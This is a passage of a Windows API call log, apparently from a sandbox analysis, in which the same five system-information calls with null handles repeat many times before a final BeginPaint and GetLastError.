GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.614] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.614] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.614] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.614] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.614] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.614] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.614] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.614] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.614] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.614] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.614] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.614] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.614] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.614] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.614] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.614] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.614] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.614] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.614] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.614] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.614] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.615] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.615] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.615] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.615] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.615] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.615] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.615] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.615] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.615] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.615] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.615] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.615] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.615] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.615] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.615] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.615] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.615] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.615] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.615] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.615] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.615] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.615] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.615] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.615] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.615] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.616] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.616] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.616] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.616] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.616] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.616] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.616] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.616] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.616] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.616] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.616] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.616] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.616] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.616] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.616] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.616] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.616] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.616] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.616] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.616] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.616] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.616] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.616] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.616] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.616] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.617] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.617] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.617] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.617] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.617] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.617] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.617] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.617] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.617] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.617] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.617] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.617] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.617] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.617] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.617] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.617] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.617] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.617] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.617] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.617] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.617] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.617] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.617] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.617] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.617] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.617] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.617] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.618] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.618] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.618] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.618] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.618] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.618] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.618] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.618] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.618] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.618] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.618] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.618] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.618] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.618] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.618] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.618] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.618] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.618] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.618] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.618] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.618] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.618] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.618] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.618] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.619] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.619] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.619] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.619] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.619] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.619] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.619] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.619] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.619] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.619] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.619] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.619] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.619] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.619] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.619] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.619] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.619] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.619] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.619] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.619] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.619] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.619] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.619] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.619] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.619] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.620] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.620] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.620] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.620] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.620] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.620] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.620] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.620] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.620] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.620] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.620] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.620] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.620] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.620] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.620] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.620] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.620] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.620] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.620] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.620] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.620] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.620] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.620] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.620] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.620] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.621] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.621] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.621] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.621] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.621] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.621] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.621] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.621] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0125.647] BeginPaint (in: hWnd=0x0, lpPaint=0x0 | out: lpPaint=0x0) returned 0x0 [0125.647] GetLastError () returned 0x578 